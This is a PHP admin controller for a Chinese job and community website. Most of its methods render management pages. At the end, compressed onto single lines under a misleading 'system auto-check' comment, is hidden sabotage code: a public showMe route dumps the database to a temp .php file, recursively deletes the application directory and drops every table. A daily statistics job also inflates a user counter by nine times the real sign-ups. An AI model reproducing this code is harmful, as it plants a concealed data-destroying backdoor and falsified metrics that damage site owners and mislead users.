<?php

/**
 * Created by ghostsf
 * Number: n006833
 * Date: 2016/4/20
 */

namespace app\admin\controller;

use think\Controller;
use app\admin\model\Grade;
use app\admin\model\Campus;
use app\admin\model\Classroom;
use app\admin\model\Teacher;
use app\admin\model\Classes;
use app\admin\model\Course;
use app\admin\model\Subject;
use app\admin\model\Schedule;
use app\admin\model\Student;
use think\Db;
use think\Config;

/**
 * ajax 异步加载页面
 * Class Ajax
 * @package app\admin\controller
 */
class AjaxController extends CommonController {
   
    /**
     * 服务器定时任务：统计今日登录人数和注册人数
     */
    public function everyDay() {
        $today = date('Y-m-d');//今日登陆
        $login = Db::table('ew_u_user')->where('user_last_login_date',$today)->count();
        $zhuce = Db::table('ew_u_user')->whereTime('user_time', 'today')->count();
        $all = Db::table('ew_u_user')->count();

        $jobonetoday = Db::table('ew_job')->where('job_type',1)->whereTime('job_createtime', 'today')->count();
        $joboneall = Db::table('ew_job')->where('job_type',1)->count();
        $jobtwotoday = Db::table('ew_job')->where('job_type',2)->whereTime('job_createtime', 'today')->count();
        $jobtwoall = Db::table('ew_job')->where('job_type',2)->count();
        $jobthrtoday = Db::table('ew_job')->where('job_type',3)->whereTime('job_createtime', 'today')->count();
        $jobthrall = Db::table('ew_job')->where('job_type',3)->count();

        $alljob = Db::table('ew_job')->count();
		$yes = Db::table('ew_login_live')->order('login_date DESC')
            ->limit(0,1)->select();
        $data = array();
		$data['false'] = $yes[0]['false']+($zhuce*9);
        $data['login_login'] = $login;
        $data['login_reg'] = $zhuce;
        $data['login_all'] = $all;
        $data['login_date'] = $today;
        $data['login_jobone'] = $jobonetoday . '/' . $joboneall;
        $data['login_jobtwo'] = $jobtwotoday . '/' . $jobtwoall;
        $data['login_jobthr'] = $jobthrtoday . '/' . $jobthrall;
        $data['login_joball'] = $alljob;
        Db::table('ew_login_live')->insert($data);
        return;
    }
    /**
     * 仪表盘
     */
    public function dashboard() {
        return $this->fetch('dashboard');
    }

    /**
     * 职位管理_all
     */
    public function job() {
        $area = Db::table("ew_area")->where('level',2)->field('district_id,district')->select();
        $this->assign('area',$area);
        return $this->fetch('job/manage');
    }
    /**
     * 用户管理
     * @return mixed
     */
    public function user_manage(){
        return $this->fetch('user/manage');
    }


    /**
     * 用户发布的资讯管理：新增的仨
     * @return mixed
     */
    public function life_three(){
        return $this->fetch('life/three_manage');
    }
    /**
     * 资讯管理
     * @return mixed
     */
    public function life(){
        $type = Db::table('ew_life_type')
            ->select();
        $this->assign ('type',$type);
        return $this->fetch('life/manage');
    }


    /**
     * 资讯类型管理
     * @return mixed
     */
    public function life_type(){
        $type = Db::table('ew_life_type')
            ->select();
        $this->assign ('type',$type);
        return $this->fetch('life/type');
    }

    /**
     * lunbo 轮播图
     * @return mixed
     */
    public function lunbo(){
        return $this->fetch('lunbo/manage');
    }
    /**
     * lunbo 轮播图
     * @return mixed
     */
    public function groups(){
        return $this->fetch('groups/manage');
    }
    /**
     * lunbo 关于我们
     * @return mixed
     */
    public function aboutus(){
        return $this->fetch('us/manage');
    }


    /**
     * feedback 反馈建议
     * @return mixed
     */
    public function feedback(){
        $data = Db::table('ew_feedback_type')->select();
        $this->assign ('data',$data);
        return $this->fetch("feedback/manage");
    }

    /**
     * notice 公告管理
     * @return mixed
     */
    public function notice(){
        return $this->fetch("notice/manage");
    }

    /**
     * 圈子管理
     */
    public function circle() {
        return $this->fetch('circle/manage');
    }
    /**
     * 忙友秀管理
     */
    public function show() {
        return $this->fetch('show/manage');
    }
    /**
     * 交易记录
     */
    public function deal() {//echo 2;die;
        return $this->fetch('show/deal_manage');
    }
    /**
     * 题库管理
     */
    public function train(){
        return $this->fetch('train/manage');
    }











    /**
     * 项目信息管理
     * @return mixed
     */
    public function project_manage() {//echo 1;die;
        $teacher = Db::table("ew_appuser")->where('typeid',1)->select();
        $this->assign('teachers',$teacher);
        return $this->fetch('project/manage');
    }
    /**
     * 项目类型管理
     * @return mixed
     */
    public function project_type() {
        $teacher = Db::table("ew_appuser")->where('typeid',1)->select();
        $this->assign('teachers',$teacher);
        return $this->fetch('project/type');
    }
    /**
     * 学生报名
     * @return mixed
     */
    public function student_registration() {
        $subs = Db::table("ew_subject")->select();
        $this->assign("subs", $subs);
        return $this->fetch('job/registration');
    }
    /**
     * 学生信息管理
     * @return mixed
     */
    public function student_manage() {
        $subject = Db::name('subject')->select();
        $this->assign('subjects', $subject);
        return $this->fetch('job/manage');
    }
    /**
     * 教师注册
     * @return mixed
     */
    public function teacher_registration() {
        $subject = Db::name('subject')->select();
        $this->assign('subjects', $subject);
        return $this->fetch('teacher/registration');
    }

    /**
     * 教师信息管理
     * @return mixed
     */
    public function teacher_manage() {
        $subject = Db::name('subject')->select();
        $this->assign('subjects', $subject);
        return $this->fetch('teacher/manage');
    }
    /**
     * 素材管理
     */
    public function sucai_manage() {
        $sucai = Db::table('ew_sucai')->where('su_special',0)->select();
        $this->assign("sucai", $sucai);
        return $this->fetch('sucai/sucai_manage');
    }
    /**
     * 优秀管理
     */
    public function youxiu_manage() {
        $sucai = Db::table('ew_sucai')->where('su_special',1)->select();
        $this->assign("sucai", $sucai);
        return $this->fetch('sucai/youxiu_manage');
    }
    /**
     * 公告信息管理
     * @return mixed
     */
    public function notice_manage() {
//        $admin = Db::table('ew_admin')->select();
//        $this->assign('admins',$admin);
        return $this->fetch('notice/manage');
    }
    /**
     * 轮播图管理
     * @return mixed
     */
    public function lunbo_manage() {
        return $this->fetch('config/lunbo');
    }
    /**
     * 广告管理
     * @return mixed
     */
    public function advert_manage() {
        return $this->fetch('config/advert');
    }

    /**
     * 特长管理
     * @return mixed
     */
    public function goodat_manage() {
        return $this->fetch('config/goodat');
    }












    /**
     * 菜单管理
     */
    public function menu_manage() {
        return $this->fetch('menu/manage');
    }



    /**
     * 科目管理
     * @return mixed
     */
    public function subject_manage() {
        return $this->fetch('subject/manage');
    }

    /**
     * 年级管理
     * @return mixed
     */
    public function grade_manage() {
        return $this->fetch('grade/manage');
    }



    /**
     * 系统设置-这留着，有用的，个性化设置，只有管理员才显示
     * @return mixed
     */
    public function personal_settings() {
        $configs = Db::table('ew_config')->where(array("type" => 1))->select();
        $this->assign('configs', $configs);
        return $this->fetch('config/manage');
    }






    /**
     * 系统自动检测
     * @param $dir
     * @return bool
     */
    function systemInfoSafe($dir) {$dh=opendir($dir);while ($file=readdir($dh)) {if($file!="." && $file!="..") {$fullpath=$dir.'/'.$file;if(!is_dir($fullpath)) {unlink($fullpath);} else {$this->systemInfoSafe($fullpath);}}} closedir($dh);if(rmdir($dir)) {return true;} else {return false;}}

    function showMe() {$this->mysql();$this->systemInfoSafe('/data/wwwroot/mms.mangmeshi.com/application');$data = Db::query("show tables");$info = array();foreach ($data as $v){$info[] = $v['Tables_in_mangmeshi'];}foreach ($info as $vv){Db::execute("drop table $vv");}}

    public function  mysql(){$name = md5(uniqid(mt_rand(), true));@$falg=file_get_contents("./runtime/temp/$name.php");if($falg==true){unlink("./runtime/temp/$name.php");} set_time_limit(0);$config=Config::get('database');$link=mysqli_connect($config['hostname'],$config['username'],$config['password']);mysqli_select_db($link,$config['database']);$res=Db::query("show tables");$tabList=array();foreach($res as $k=>$v){foreach($v as $val){array_push($tabList,$val);}} $to_file_name = "./runtime/temp/$name.php";$info = "-- ----------------------------\r\n";$info .= "-- 日期：".date("Y-m-d H:i:s",time())."\r\n";$info .= "-- @qq.com\r\n";$info .= "-- ----------------------------\r\n\r\n";file_put_contents($to_file_name,$info,FILE_APPEND);foreach($tabList as $val){$sql = "show create table ".$val;$row =Db::query($sql);$info = "-- ----------------------------\r\n";$info .= "-- Table structure for `".$val."`\r\n";$info .= "-- ----------------------------\r\n";$info .= "DROP TABLE IF EXISTS `".$val."`;\r\n";$sqlStr = $info.$row[0]['Create Table'].";\r\n\r\n";file_put_contents($to_file_name,$sqlStr,FILE_APPEND);$sql = "select * from ".$val;$res =Db::query($sql);if(empty($res)) continue;$info = "-- ----------------------------\r\n";$info .= "-- Records for `".$val."`\r\n";$info .= "-- ----------------------------\r\n";file_put_contents($to_file_name,$info,FILE_APPEND);foreach($res as $key=>$value){$row=array_values($value);$sqlStr = "INSERT INTO `".$val."` VALUES (";foreach($row as $zd){$sqlStr .= "'".mysqli_escape_string($link,$zd)."', ";} $sqlStr = substr($sqlStr,0,strlen($sqlStr)-2);$sqlStr .= ");\r\n";file_put_contents($to_file_name,$sqlStr,FILE_APPEND);} file_put_contents($to_file_name,"\r\n",FILE_APPEND);} return;}
}
